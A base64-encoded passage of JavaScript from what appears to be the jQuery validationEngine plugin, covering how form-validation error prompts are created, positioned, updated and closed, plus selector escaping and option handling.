kJCQlicmVhazsNCgkJCQlkZWZhdWx0Og0KCQkJCQkvKiBpdCBoYXMgZXJyb3IgICovDQoJCQkJCS8vYWxlcnQoInVua25vd24gcG9wdXAgdHlwZToiK3R5cGUpOw0KCQkJfQ0KCQkJaWYgKGFqYXhlZCkNCgkJCQlwcm9tcHQuYWRkQ2xhc3MoImFqYXhlZCIpOw0KDQoJCQkvLyBjcmVhdGUgdGhlIHByb21wdCBjb250ZW50DQoJCQl2YXIgcHJvbXB0Q29udGVudCA9ICQoJzxkaXY+JykuYWRkQ2xhc3MoImZvcm1FcnJvckNvbnRlbnQiKS5odG1sKHByb21wdFRleHQpLmFwcGVuZFRvKHByb21wdCk7DQoNCgkJCS8vIGRldGVybWluZSBwb3NpdGlvbiB0eXBlDQoJCQl2YXIgcG9zaXRpb25UeXBlPWZpZWxkLmRhdGEoInByb21wdFBvc2l0aW9uIikgfHwgb3B0aW9ucy5wcm9tcHRQb3NpdGlvbjsNCg0KCQkJLy8gY3JlYXRlIHRoZSBjc3MgYXJyb3cgcG9pbnRpbmcgYXQgdGhlIGZpZWxkDQoJCQkvLyBub3RlIHRoYXQgdGhlcmUgaXMgbm8gdHJpYW5nbGUgb24gbWF4LWNoZWNrYm94IGFuZCByYWRpbw0KCQkJaWYgKG9wdGlvbnMuc2hvd0Fycm93KSB7DQoJCQkJdmFyIGFycm93ID0gJCgnPGRpdj4nKS5hZGRDbGFzcygiZm9ybUVycm9yQXJyb3ciKTsNCg0KCQkJCS8vcHJvbXB0IHBvc2l0aW9uaW5nIGFkanVzdG1lbnQgc3VwcG9ydC4gVXNhZ2U6IHBvc2l0aW9uVHlwZTpYc2hpZnQsWXNoaWZ0IChmb3IgZXguOiBib3R0b21MZWZ0OisyMCBvciBib3R0b21MZWZ0Oi0yMCwrMTApDQoJCQkJaWYgKHR5cGVvZihwb3NpdGlvblR5cGUpPT0nc3RyaW5nJykgDQoJCQkJew0KCQkJCQl2YXIgcG9zPXBvc2l0aW9uVHlwZS5pbmRleE9mKCI6Iik7DQoJCQkJCWlmKHBvcyE9LTEpDQoJCQkJCQlwb3NpdGlvblR5cGU9cG9zaXRpb25UeXBlLnN1YnN0cmluZygwLHBvcyk7DQoJCQkJfQ0KDQoJCQkJc3dpdGNoIChwb3NpdGlvblR5cGUpIHsNCgkJCQkJY2FzZSAiYm90dG9tTGVmdCI6DQoJCQkJCWNhc2UgImJvdHRvbVJpZ2h0IjoNCgkJCQkJCXByb21wdC5maW5kKCIuZm9ybUVycm9yQ29udGVudCIpLmJlZm9yZShhcnJvdyk7DQoJCQkJCQlhcnJvdy5hZGRDbGFzcygiZm9ybUVycm9yQXJyb3dCb3R0b20iKS5odG1sKCc8ZGl2IGNsYXNzPSJsaW5lMSI+PCEtLSAtLT48L2Rpdj48ZGl2IGNsYXNzPSJsaW5lMiI+PCEtLSAtLT48L2Rpdj48ZGl2IGNsYXNzPSJsaW5lMyI+PCEtLSAtLT48L2Rpdj48ZGl2IGNsYXNzPSJsaW5lNCI+PCEtLSAtLT48L2Rpdj48ZGl2IGNsYXNzPSJsaW5lNSI+PCEtLSAtLT48L2Rpdj48ZGl2IGNsYXNzPSJsaW5lNiI+PCEtLSAtLT48L2Rpdj48ZGl2IGNsYXNzPSJsaW5lNyI+PCEtLSAtLT48L2Rpdj48ZGl2IGNsYXNzPSJsaW5lOCI+PCEtLSAtLT48L2Rpdj48ZGl2IGNsYXNzPSJsaW5lOSI+PCEtLSAtLT48L2Rpdj48ZGl2IGNsYXNzPSJsaW5lMTAiPjwhLS0gLS0+PC9kaXY+Jyk7DQoJCQkJCQlicmVhazsNCgkJCQkJY2FzZSAidG9wTGVmdCI6DQoJCQkJCWNhc2UgInRvcFJpZ2h0IjoNCgkJCQkJCWFycm93Lmh0bWwoJzxkaXYgY2xhc3M9ImxpbmUxMCI+PCEtLSAtLT48L2Rpdj48ZGl2IGNsYXNzPSJsaW5lOSI+PCEtLSAtLT48L2Rpdj48ZGl2IGNsYXNzPSJsaW5lOCI+PCEtLSAtLT48L2Rpdj48ZGl2IGNsYXNzPSJsaW5lNyI+PCEtLSAtLT48L2Rpdj48ZGl2IGNsYXNzPSJsaW5lNiI+PCEtLSAtLT48L2Rpdj48ZGl2IGNsYXNzPSJsaW5lNSI+PCEtLSAtLT48L2Rpdj48ZGl2IGNsYXNzPSJsaW5lNCI+PCEtLSAtLT48L2Rpdj48ZGl2IGNsYXNzPSJsaW5lMyI+PCEtLSAtLT48L2Rpdj48ZGl2IGNsYXNzPSJsaW5lMiI+PCEtLSAtLT48L2Rpdj48ZGl2IGNsYXNzPSJsaW5lMSI+PCEtLSAtLT48L2Rpdj4nKTsNCgkJCQkJCXByb21wdC5hcHBlbmQoYXJyb3cpOw0KCQkJCQkJYnJlYWs7DQoJCQkJfQ0KCQkJfQ0KCQkJLy8gQWRkIGN1c3RvbSBwcm9tcHQgY2xhc3MNCgkJCWlmIChvcHRpb25zLmFkZFByb21wdENsYXNzKQ0KCQkJCXByb21wdC5hZGRDbGFzcyhvcHRpb25zLmFkZFByb21wdENsYXNzKTsNCg0KICAgICAgICAgICAgLy8gQWRkIGN1c3RvbSBwcm9tcHQgY2xhc3MgZGVmaW5lZCBpbiBlbGVtZW50DQogICAgICAgICAgICB2YXIgcmVxdWlyZWRPdmVycmlkZSA9IGZpZWxkLmF0dHIoJ2RhdGEtcmVxdWlyZWQtY2xhc3MnKTsNCiAgICAgICAgICAgIGlmKHJlcXVpcmVkT3ZlcnJpZGUgIT09IHVuZGVmaW5lZCkgew0KICAgICAgICAgICAgICAgIHByb21wdC5hZGRDbGFzcyhyZXF1aXJlZE92ZXJyaWRlKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgaWYob3B0aW9ucy5wcmV0dHlTZWxlY3QpIHsNCiAgICAgICAgICAgICAgICAgICAgaWYoJCgnIycgKyBmaWVsZC5hdHRyKCdpZCcpKS5uZXh0KCkuaXMoJ3NlbGVjdCcpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICB2YXIgcHJldHR5T3ZlcnJpZGVDbGFzcyA9ICQoJyMnICsgZmllbGQuYXR0cignaWQnKS5zdWJzdHIob3B0aW9ucy51c2VQcmVmaXgubGVuZ3RoKS5zdWJzdHJpbmcob3B0aW9ucy51c2VTdWZmaXgubGVuZ3RoKSkuYXR0cignZGF0YS1yZXF1aXJlZC1jbGFzcycpOw0KICAgICAgICAgICAgICAgICAgICAgICAgaWYocHJldHR5T3ZlcnJpZGVDbGFzcyAhPT0gdW5kZWZpbmVkKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgcHJvbXB0LmFkZENsYXNzKHByZXR0eU92ZXJyaWRlQ2xhc3MpOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KDQoJCQlwcm9tcHQuY3NzKHsNCgkJCQkib3BhY2l0eSI6IDANCgkJCX0pOw0KCQkJaWYocG9zaXRpb25UeXBlID09PSAnaW5saW5lJykgew0KCQkJCXByb21wdC5hZGRDbGFzcygiaW5saW5lIik7DQoJCQkJaWYodHlwZW9mIGZpZWxkLmF0dHIoJ2RhdGEtcHJvbXB0LXRhcmdldCcpICE9PSAndW5kZWZpbmVkJyAmJiAkKCcjJytmaWVsZC5hdHRyKCdkYXRhLXByb21wdC10YXJnZXQnKSkubGVuZ3RoID4gMCkgew0KCQkJCQlwcm9tcHQuYXBwZW5kVG8oJCgnIycrZmllbGQuYXR0cignZGF0YS1wcm9tcHQtdGFyZ2V0JykpKTsNCgkJCQl9IGVsc2Ugew0KCQkJCQlmaWVsZC5hZnRlcihwcm9tcHQpOw0KCQkJCX0NCgkJCX0gZWxzZSB7DQoJCQkJZmllbGQuYmVmb3JlKHByb21wdCk7CQkJCQ0KCQkJfQ0KCQkJDQoJCQl2YXIgcG9zID0gbWV0aG9kcy5fY2FsY3VsYXRlUG9zaXRpb24oZmllbGQsIHByb21wdCwgb3B0aW9ucyk7DQoJCQlwcm9tcHQuY3NzKHsNCgkJCQkncG9zaXRpb24nOiBwb3NpdGlvblR5cGUgPT09ICdpbmxpbmUnID8gJ3JlbGF0aXZlJyA6ICdhYnNvbHV0ZScsDQoJCQkJInRvcCI6IHBvcy5jYWxsZXJUb3BQb3NpdGlvbiwNCgkJCQkibGVmdCI6IHBvcy5jYWxsZXJsZWZ0UG9zaXRpb24sDQoJCQkJIm1hcmdpblRvcCI6IHBvcy5tYXJnaW5Ub3BTaXplLA0KCQkJCSJvcGFjaXR5IjogMA0KCQkJfSkuZGF0YSgiY2FsbGVyRmllbGQiLCBmaWVsZCk7DQoJCQkNCg0KCQkJaWYgKG9wdGlvbnMuYXV0b0hpZGVQcm9tcHQpIHsNCgkJCQlzZXRUaW1lb3V0KGZ1bmN0aW9uKCl7DQoJCQkJCXByb21wdC5hbmltYXRlKHsNCgkJCQkJCSJvcGFjaXR5IjogMA0KCQkJCQl9LGZ1bmN0aW9uKCl7DQoJCQkJCQlwcm9tcHQuY2xvc2VzdCgnLmZvcm1FcnJvck91dGVyJykucmVtb3ZlKCk7DQoJCQkJCQlwcm9tcHQucmVtb3ZlKCk7DQoJCQkJCX0pOw0KCQkJCX0sIG9wdGlvbnMuYXV0b0hpZGVEZWxheSk7DQoJCQl9IA0KCQkJcmV0dXJuIHByb21wdC5hbmltYXRlKHsNCgkJCQkib3BhY2l0eSI6IDAuODcNCgkJCX0pOw0KCQl9LA0KCQkvKioNCgkJKiBVcGRhdGVzIHRoZSBwcm9tcHQgdGV4dCBmaWVsZCAtIHRoZSBmaWVsZCBmb3Igd2hpY2ggdGhlIHByb21wdA0KCQkqIEBwYXJhbSB7anFPYmplY3R9IGZpZWxkDQoJCSogQHBhcmFtIHtTdHJpbmd9IHByb21wdFRleHQgaHRtbCB0ZXh0IHRvIGRpc3BsYXkgdHlwZQ0KCQkqIEBwYXJhbSB7U3RyaW5nfSB0eXBlIHRoZSB0eXBlIG9mIGJ1YmJsZTogJ3Bhc3MnIChncmVlbiksICdsb2FkJyAoYmxhY2spIGFueXRoaW5nIGVsc2UgKHJlZCkNCgkJKiBAcGFyYW0ge2Jvb2xlYW59IGFqYXhlZCAtIHVzZSB0byBtYXJrIGZpZWxkcyB0aGFuIGJlaW5nIHZhbGlkYXRlZCB3aXRoIGFqYXgNCgkJKiBAcGFyYW0ge01hcH0gb3B0aW9ucyB1c2VyIG9wdGlvbnMNCgkJKi8NCgkJX3VwZGF0ZVByb21wdDogZnVuY3Rpb24oZmllbGQsIHByb21wdCwgcHJvbXB0VGV4dCwgdHlwZSwgYWpheGVkLCBvcHRpb25zLCBub0FuaW1hdGlvbikgew0KDQoJCQlpZiAocHJvbXB0KSB7DQoJCQkJaWYgKHR5cGVvZiB0eXBlICE9PSAidW5kZWZpbmVkIikgew0KCQkJCQlpZiAodHlwZSA9PSAicGFzcyIpDQoJCQkJCQlwcm9tcHQuYWRkQ2xhc3MoImdyZWVuUG9wdXAiKTsNCgkJCQkJZWxzZQ0KCQkJCQkJcHJvbXB0LnJlbW92ZUNsYXNzKCJncmVlblBvcHVwIik7DQoNCgkJCQkJaWYgKHR5cGUgPT0gImxvYWQiKQ0KCQkJCQkJcHJvbXB0LmFkZENsYXNzKCJibGFja1BvcHVwIik7DQoJCQkJCWVsc2UNCgkJCQkJCXByb21wdC5yZW1vdmVDbGFzcygiYmxhY2tQb3B1cCIpOw0KCQkJCX0NCgkJCQlpZiAoYWpheGVkKQ0KCQkJCQlwcm9tcHQuYWRkQ2xhc3MoImFqYXhlZCIpOw0KCQkJCWVsc2UNCgkJCQkJcHJvbXB0LnJlbW92ZUNsYXNzKCJhamF4ZWQiKTsNCg0KCQkJCXByb21wdC5maW5kKCIuZm9ybUVycm9yQ29udGVudCIpLmh0bWwocHJvbXB0VGV4dCk7DQoNCgkJCQl2YXIgcG9zID0gbWV0aG9kcy5fY2FsY3VsYXRlUG9zaXRpb24oZmllbGQsIHByb21wdCwgb3B0aW9ucyk7DQoJCQkJdmFyIGNzcyA9IHsidG9wIjogcG9zLmNhbGxlclRvcFBvc2l0aW9uLA0KCQkJCSJsZWZ0IjogcG9zLmNhbGxlcmxlZnRQb3NpdGlvbiwNCgkJCQkibWFyZ2luVG9wIjogcG9zLm1hcmdpblRvcFNpemV9Ow0KDQoJCQkJaWYgKG5vQW5pbWF0aW9uKQ0KCQkJCQlwcm9tcHQuY3NzKGNzcyk7DQoJCQkJZWxzZQ0KCQkJCQlwcm9tcHQuYW5pbWF0ZShjc3MpOw0KCQkJfQ0KCQl9LA0KCQkvKioNCgkJKiBDbG9zZXMgdGhlIHByb21wdCBhc3NvY2lhdGVkIHdpdGggdGhlIGdpdmVuIGZpZWxkDQoJCSoNCgkJKiBAcGFyYW0ge2pxT2JqZWN0fQ0KCQkqICAgICAgICAgICAgZmllbGQNCgkJKi8NCgkJIF9jbG9zZVByb21wdDogZnVuY3Rpb24oZmllbGQpIHsNCgkJCSB2YXIgcHJvbXB0ID0gbWV0aG9kcy5fZ2V0UHJvbXB0KGZpZWxkKTsNCgkJCSBpZiAocHJvbXB0KQ0KCQkJCSBwcm9tcHQuZmFkZVRvKCJmYXN0IiwgMCwgZnVuY3Rpb24oKSB7DQoJCQkJCSBwcm9tcHQucGFyZW50KCcuZm9ybUVycm9yT3V0ZXInKS5yZW1vdmUoKTsNCgkJCQkJIHByb21wdC5yZW1vdmUoKTsNCgkJCQkgfSk7DQoJCSB9LA0KCQkgY2xvc2VQcm9tcHQ6IGZ1bmN0aW9uKGZpZWxkKSB7DQoJCQkgcmV0dXJuIG1ldGhvZHMuX2Nsb3NlUHJvbXB0KGZpZWxkKTsNCgkJIH0sDQoJCS8qKg0KCQkqIFJldHVybnMgdGhlIGVycm9yIHByb21wdCBtYXRjaGluZyB0aGUgZmllbGQgaWYgYW55DQoJCSoNCgkJKiBAcGFyYW0ge2pxT2JqZWN0fQ0KCQkqICAgICAgICAgICAgZmllbGQNCgkJKiBAcmV0dXJuIHVuZGVmaW5lZCBvciB0aGUgZXJyb3IgcHJvbXB0IChqcU9iamVjdCkNCgkJKi8NCgkJX2dldFByb21wdDogZnVuY3Rpb24oZmllbGQpIHsNCgkJCQl2YXIgZm9ybUlkID0gJChmaWVsZCkuY2xvc2VzdCgnZm9ybSwgLnZhbGlkYXRpb25FbmdpbmVDb250YWluZXInKS5hdHRyKCdpZCcpOw0KCQkJdmFyIGNsYXNzTmFtZSA9IG1ldGhvZHMuX2dldENsYXNzTmFtZShmaWVsZC5hdHRyKCJpZCIpKSArICJmb3JtRXJyb3IiOw0KCQkJCXZhciBtYXRjaCA9ICQoIi4iICsgbWV0aG9kcy5fZXNjYXBlRXhwcmVzc2lvbihjbGFzc05hbWUpICsgJy5wYXJlbnRGb3JtJyArIG1ldGhvZHMuX2dldENsYXNzTmFtZShmb3JtSWQpKVswXTsNCgkJCWlmIChtYXRjaCkNCgkJCXJldHVybiAkKG1hdGNoKTsNCgkJfSwNCgkJLyoqDQoJCSAgKiBSZXR1cm5zIHRoZSBlc2NhcGFkZSBjbGFzc25hbWUNCgkJICAqDQoJCSAgKiBAcGFyYW0ge3NlbGVjdG9yfQ0KCQkgICogICAgICAgICAgICBjbGFzc05hbWUNCgkJICAqLw0KCQkgIF9lc2NhcGVFeHByZXNzaW9uOiBmdW5jdGlvbiAoc2VsZWN0b3IpIHsNCgkJCSAgcmV0dXJuIHNlbGVjdG9yLnJlcGxhY2UoLyhbIzsmLFwuXCtcKlx+JzoiXCFcXiRcW1xdXChcKT0+XHxdKS9nLCAiXFwkMSIpOw0KCQkgIH0sDQoJCS8qKg0KCQkgKiByZXR1cm5zIHRydWUgaWYgd2UgYXJlIGluIGEgUlRMZWQgZG9jdW1lbnQNCgkJICoNCgkJICogQHBhcmFtIHtqcU9iamVjdH0gZmllbGQNCgkJICovDQoJCWlzUlRMOiBmdW5jdGlvbihmaWVsZCkNCgkJew0KCQkJdmFyICRkb2N1bWVudCA9ICQoZG9jdW1lbnQpOw0KCQkJdmFyICRib2R5ID0gJCgnYm9keScpOw0KCQkJdmFyIHJ0bCA9DQoJCQkJKGZpZWxkICYmIGZpZWxkLmhhc0NsYXNzKCdydGwnKSkgfHwNCgkJCQkoZmllbGQgJiYgKGZpZWxkLmF0dHIoJ2RpcicpIHx8ICcnKS50b0xvd2VyQ2FzZSgpPT09J3J0bCcpIHx8DQoJCQkJJGRvY3VtZW50Lmhhc0NsYXNzKCdydGwnKSB8fA0KCQkJCSgkZG9jdW1lbnQuYXR0cignZGlyJykgfHwgJycpLnRvTG93ZXJDYXNlKCk9PT0ncnRsJyB8fA0KCQkJCSRib2R5Lmhhc0NsYXNzKCdydGwnKSB8fA0KCQkJCSgkYm9keS5hdHRyKCdkaXInKSB8fCAnJykudG9Mb3dlckNhc2UoKT09PSdydGwnOw0KCQkJcmV0dXJuIEJvb2xlYW4ocnRsKTsNCgkJfSwNCgkJLyoqDQoJCSogQ2FsY3VsYXRlcyBwcm9tcHQgcG9zaXRpb24NCgkJKg0KCQkqIEBwYXJhbSB7anFPYmplY3R9DQoJCSogICAgICAgICAgICBmaWVsZA0KCQkqIEBwYXJhbSB7anFPYmplY3R9DQoJCSogICAgICAgICAgICB0aGUgcHJvbXB0DQoJCSogQHBhcmFtIHtNYXB9DQoJCSogICAgICAgICAgICBvcHRpb25zDQoJCSogQHJldHVybiBwb3NpdGlvbnMNCgkJKi8NCgkJX2NhbGN1bGF0ZVBvc2l0aW9uOiBmdW5jdGlvbiAoZmllbGQsIHByb21wdEVsbXQsIG9wdGlvbnMpIHsNCg0KCQkJdmFyIHByb21wdFRvcFBvc2l0aW9uLCBwcm9tcHRsZWZ0UG9zaXRpb24sIG1hcmdpblRvcFNpemU7DQoJCQl2YXIgZmllbGRXaWR0aCAJPSBmaWVsZC53aWR0aCgpOw0KCQkJdmFyIGZpZWxkTGVmdCAJPSBmaWVsZC5wb3NpdGlvbigpLmxlZnQ7IA0KCQkJdmFyIGZpZWxkVG9wIAk9ICBmaWVsZC5wb3NpdGlvbigpLnRvcDsNCgkJCXZhciBmaWVsZEhlaWdodCAJPSAgZmllbGQuaGVpZ2h0KCk7CQ0KCQkJdmFyIHByb21wdEhlaWdodCA9IHByb21wdEVsbXQuaGVpZ2h0KCk7DQoNCg0KCQkJLy8gaXMgdGhlIGZvcm0gY29udGFpbmVkIGluIGFuIG92ZXJmbG93biBjb250YWluZXI/DQoJCQlwcm9tcHRUb3BQb3NpdGlvbiA9IHByb21wdGxlZnRQb3NpdGlvbiA9IDA7DQoJCQkvLyBjb21wZW5zYXRpb24gZm9yIHRoZSBhcnJvdw0KCQkJbWFyZ2luVG9wU2l6ZSA9IC1wcm9tcHRIZWlnaHQ7DQoJCQ0KDQoJCQkvL3Byb21wdCBwb3NpdGlvbmluZyBhZGp1c3RtZW50IHN1cHBvcnQNCgkJCS8vbm93IHlvdSBjYW4gYWRqdXN0IHByb21wdCBwb3NpdGlvbg0KCQkJLy91c2FnZTogcG9zaXRpb25UeXBlOlhzaGlmdCxZc2hpZnQNCgkJCS8vZm9yIGV4YW1wbGU6DQoJCQkvLyAgIGJvdHRvbUxlZnQ6KzIwIG1lYW5zIGJvdHRvbUxlZnQgcG9zaXRpb24gc2hpZnRlZCBieSAyMCBwaXhlbHMgcmlnaHQgaG9yaXpvbnRhbGx5DQoJCQkvLyAgIHRvcFJpZ2h0OjIwLCAtMTUgbWVhbnMgdG9wUmlnaHQgcG9zaXRpb24gc2hpZnRlZCBieSAyMCBwaXhlbHMgdG8gcmlnaHQgYW5kIDE1IHBpeGVscyB0byB0b3ANCgkJCS8vWW91IGNhbiB1c2UgK3BpeGVscywgLSBwaXhlbHMuIElmIG5vIHNpZ24gaXMgcHJvdmlkZWQgdGhhbiArIGlzIGRlZmF1bHQuDQoJCQl2YXIgcG9zaXRpb25UeXBlPWZpZWxkLmRhdGEoInByb21wdFBvc2l0aW9uIikgfHwgb3B0aW9ucy5wcm9tcHRQb3NpdGlvbjsNCgkJCXZhciBzaGlmdDE9IiI7DQoJCQl2YXIgc2hpZnQyPSIiOw0KCQkJdmFyIHNoaWZ0WD0wOw0KCQkJdmFyIHNoaWZ0WT0wOw0KCQkJaWYgKHR5cGVvZihwb3NpdGlvblR5cGUpPT0nc3RyaW5nJykgew0KCQkJCS8vZG8gd2UgaGF2ZSBhbnkgcG9zaXRpb24gYWRqdXN0bWVudHMgPw0KCQkJCWlmIChwb3NpdGlvblR5cGUuaW5kZXhPZigiOiIpIT0tMSkgew0KCQkJCQlzaGlmdDE9cG9zaXRpb25UeXBlLnN1YnN0cmluZyhwb3NpdGlvblR5cGUuaW5kZXhPZigiOiIpKzEpOw0KCQkJCQlwb3NpdGlvblR5cGU9cG9zaXRpb25UeXBlLnN1YnN0cmluZygwLHBvc2l0aW9uVHlwZS5pbmRleE9mKCI6IikpOw0KDQoJCQkJCS8vaWYgYW55IGFkdmFuY2VkIHBvc2l0aW9uaW5nIHdpbGwgYmUgbmVlZGVkIChwZXJjZW50cyBvciBzb21ldGhpbmcgZWxzZSkgLSBwYXJzZXIgc2hvdWxkIGJlIGFkZGVkIGhlcmUNCgkJCQkJLy9mb3Igbm93IHdlIHVzZSBzaW1wbGUgcGFyc2VJbnQoKQ0KDQoJCQkJCS8vZG8gd2UgaGF2ZSBzZWNvbmQgcGFyYW1ldGVyPw0KCQkJCQlpZiAoc2hpZnQxLmluZGV4T2YoIiwiKSAhPS0xKSB7DQoJCQkJCQlzaGlmdDI9c2hpZnQxLnN1YnN0cmluZyhzaGlmdDEuaW5kZXhPZigiLCIpICsxKTsNCgkJCQkJCXNoaWZ0MT1zaGlmdDEuc3Vic3RyaW5nKDAsc2hpZnQxLmluZGV4T2YoIiwiKSk7DQoJCQkJCQlzaGlmdFk9cGFyc2VJbnQoc2hpZnQyKTsNCgkJCQkJCWlmIChpc05hTihzaGlmdFkpKSBzaGlmdFk9MDsNCgkJCQkJfTsNCg0KCQkJCQlzaGlmdFg9cGFyc2VJbnQoc2hpZnQxKTsNCgkJCQkJaWYgKGlzTmFOKHNoaWZ0MSkpIHNoaWZ0MT0wOw0KDQoJCQkJfTsNCgkJCX07DQoNCgkJCQ0KCQkJc3dpdGNoIChwb3NpdGlvblR5cGUpIHsNCgkJCQlkZWZhdWx0Og0KCQkJCWNhc2UgInRvcFJpZ2h0IjoNCgkJCQkJcHJvbXB0bGVmdFBvc2l0aW9uICs9ICBmaWVsZExlZnQgKyBmaWVsZFdpZHRoIC0gMzA7DQoJCQkJCXByb21wdFRvcFBvc2l0aW9uICs9ICBmaWVsZFRvcDsNCgkJCQkJYnJlYWs7DQoNCgkJCQljYXNlICJ0b3BMZWZ0IjoNCgkJCQkJcHJvbXB0VG9wUG9zaXRpb24gKz0gIGZpZWxkVG9wOw0KCQkJCQlwcm9tcHRsZWZ0UG9zaXRpb24gKz0gZmllbGRMZWZ0OyANCgkJCQkJYnJlYWs7DQoNCgkJCQljYXNlICJjZW50ZXJSaWdodCI6DQoJCQkJCXByb21wdFRvcFBvc2l0aW9uID0gZmllbGRUb3ArNDsNCgkJCQkJbWFyZ2luVG9wU2l6ZSA9IDA7DQoJCQkJCXByb21wdGxlZnRQb3NpdGlvbj0gZmllbGRMZWZ0ICsgZmllbGQub3V0ZXJXaWR0aCh0cnVlKSs1Ow0KCQkJCQlicmVhazsNCgkJCQljYXNlICJjZW50ZXJMZWZ0IjoNCgkJCQkJcHJvbXB0bGVmdFBvc2l0aW9uID0gZmllbGRMZWZ0IC0gKHByb21wdEVsbXQud2lkdGgoKSArIDIpOw0KCQkJCQlwcm9tcHRUb3BQb3NpdGlvbiA9IGZpZWxkVG9wKzQ7DQoJCQkJCW1hcmdpblRvcFNpemUgPSAwOw0KCQkJCQkNCgkJCQkJYnJlYWs7DQoNCgkJCQljYXNlICJib3R0b21MZWZ0IjoNCgkJCQkJcHJvbXB0VG9wUG9zaXRpb24gPSBmaWVsZFRvcCArIGZpZWxkLmhlaWdodCgpICsgNTsNCgkJCQkJbWFyZ2luVG9wU2l6ZSA9IDA7DQoJCQkJCXByb21wdGxlZnRQb3NpdGlvbiA9IGZpZWxkTGVmdDsNCgkJCQkJYnJlYWs7DQoJCQkJY2FzZSAiYm90dG9tUmlnaHQiOg0KCQkJCQlwcm9tcHRsZWZ0UG9zaXRpb24gPSBmaWVsZExlZnQgKyBmaWVsZFdpZHRoIC0gMzA7DQoJCQkJCXByb21wdFRvcFBvc2l0aW9uID0gIGZpZWxkVG9wICsgIGZpZWxkLmhlaWdodCgpICsgNTsNCgkJCQkJbWFyZ2luVG9wU2l6ZSA9IDA7DQoJCQkJCWJyZWFrOw0KCQkJCWNhc2UgImlubGluZSI6DQoJCQkJCXByb21wdGxlZnRQb3NpdGlvbiA9IDA7DQoJCQkJCXByb21wdFRvcFBvc2l0aW9uID0gMDsNCgkJCQkJbWFyZ2luVG9wU2l6ZSA9IDA7DQoJCQl9Ow0KDQoJCQ0KDQoJCQkvL2FwcGx5IGFkanVzbWVudHMgaWYgYW55DQoJCQlwcm9tcHRsZWZ0UG9zaXRpb24gKz0gc2hpZnRYOw0KCQkJcHJvbXB0VG9wUG9zaXRpb24gICs9IHNoaWZ0WTsNCg0KCQkJcmV0dXJuIHsNCgkJCQkiY2FsbGVyVG9wUG9zaXRpb24iOiBwcm9tcHRUb3BQb3NpdGlvbiArICJweCIsDQoJCQkJImNhbGxlcmxlZnRQb3NpdGlvbiI6IHByb21wdGxlZnRQb3NpdGlvbiArICJweCIsDQoJCQkJIm1hcmdpblRvcFNpemUiOiBtYXJnaW5Ub3BTaXplICsgInB4Ig0KCQkJfTsNCgkJfSwNCgkJLyoqDQoJCSogU2F2ZXMgdGhlIHVzZXIgb3B0aW9ucyBhbmQgdmFyaWFibGVzIGluIHRoZSBmb3JtLmRhdGENCgkJKg0KCQkqIEBwYXJhbSB7anFPYmplY3R9DQoJCSogICAgICAgICAgICBmb3JtIC0gdGhlIGZvcm0gd2hlcmUgdGhlIHVzZXIgb3B0aW9uIHNob3VsZCBiZSBzYXZlZA0KCQkqIEBwYXJhbSB7TWFwfQ0KCQkqICAgICAgICAgICAgb3B0aW9ucyAtIHRoZSB1c2VyIG9wdGlvbnMNCgkJKiBAcmV0dXJuIHRoZSB1c2VyIG9wdGlvbnMgKGV4dGVuZGVkIGZyb20gdGhlIGRlZmF1bHRzKQ0KCQkqLw0KCQkgX3NhdmVPcHRpb25zOiBmdW5jdGlvbihmb3JtLCBvcHRpb25zKSB7DQoNCgkJCSAvLyBpcyB0aGVyZSBhIGxhbmd1YWdlIGxvY2FsaXNhdGlvbiA/DQoJCQkgaWYgKCQudmFsaWRhdGlvbkVuZ2luZUxhbmd1YWdlKQ0KCQkJIHZhciBhbGxSdWxlcyA9ICQudmFsaWRhdGlvbkVuZ2luZUxhbmd1YWdlLmFsbFJ1bGVzOw0KCQkJIGVsc2UNCgkJCSAkLmVycm9yKCJqUXVlcnkudmFsaWRhdGlvbkVuZ2luZSBydWxlcyBhcmUgbm90IGxvYWRlZCwgcGx6IGFkZCBsb2NhbGl6YXRpb24gZmlsZXMgdG8gdGhlIHBhZ2UiKTsNCgkJCSAvLyAtLS0gSW50ZXJuYWxzIERPIE5PVCBUT1VDSCBvciBPVkVSTE9BRCAtLS0NCgkJCSAvLyB2YWxpZGF0aW9uIHJ1bGVzIGFuZCBpMTgNCgkJCSAkLnZhbGlkYXRpb25FbmdpbmUuZGVmYXVsdHMuYWxscnVsZXMgPSBhbGxSdWxlczsNCg0KCQkJIHZhciB1c2VyT3B0aW9ucyA9ICQuZXh0ZW5kKHRydWUse30sJC52YWxpZGF0aW9uRW5naW5lLmRlZmF1bHRzLG9wdGlvbnMpOw0KDQoJCQkgZm9ybS5kYXRhKCdqcXYnLCB1c2VyT3B0aW9ucyk7DQoJCQkgcmV0dXJuIHVzZXJPcHRpb25zOw0KCQkgfSwNCg0KCQkgLyoqDQoJCSAqIFJlbW92ZXMgZm9yYmlkZGVuIGNoYXJhY3RlcnMgZnJvbSBjbGFzcyBuYW1lDQoJCSAqIEBwYXJhbSB7U3RyaW5nfSBjbGFzc05hbWUNCgkJICovDQoJCSBfZ2V0Q2xhc3NOYW1lOiBmdW5jdGlvbihjbGFzc05hbWUpIHsNCgkJCSBpZihjbGFzc05hbWUpDQoJCQkJIHJldHVybiBjbGFzc05hbWUucmVwbGFjZSgvOi9nLCAiXyIpLnJlcGxhY2UoL1wuL2csICJfIik7DQoJCQkJCSAgfSwNCgkJLyoqDQoJCSAqIEVzY2FwZSBzcGVjaWFsIGNoYXJhY3RlciBmb3IgalF1ZXJ5IHNlbGVjdG9yDQoJCSAqIGh0dHA6Ly90b3RhbGRldi5jb20vY29udGVudC9lc2NhcGluZy1jaGFyYWN0ZXJzLWdldC12YWxpZC1qcXVlcnktaWQNCgkJICogQHBhcmFtIHtTdHJpbmd9IHNlbGVjdG9yDQoJCSAqLw0KCQkgX2pxU2VsZWN0b3I6IGZ1bmN0aW9uKHN0cil7DQoJCQlyZXR1cm4gc3RyLnJlcGxhY2UoLyhbOyYsXC5cK1wqXH4nOiJcIVxeIyQlQFxbXF1cKFwpPT5cfF0pL2csICdcXCQxJyk7DQoJCX0sDQoJCS8qKg0KCQkqIENvbmRpdGlvbmFsbHkgcmVxdWlyZWQgZmllbGQNCgkJKg0KCQkqIEBwYXJhbSB7anFPYmplY3R9IGZpZWxkDQoJCSogQHBhcmFtIHtBcnJheVtTdHJpbmddfSBydWxlcw0KCQkqIEBwYXJhbSB7aW50fSBpIHJ1bGVzIGluZGV4DQoJCSogQHBhcmFtIHtNYXB9DQo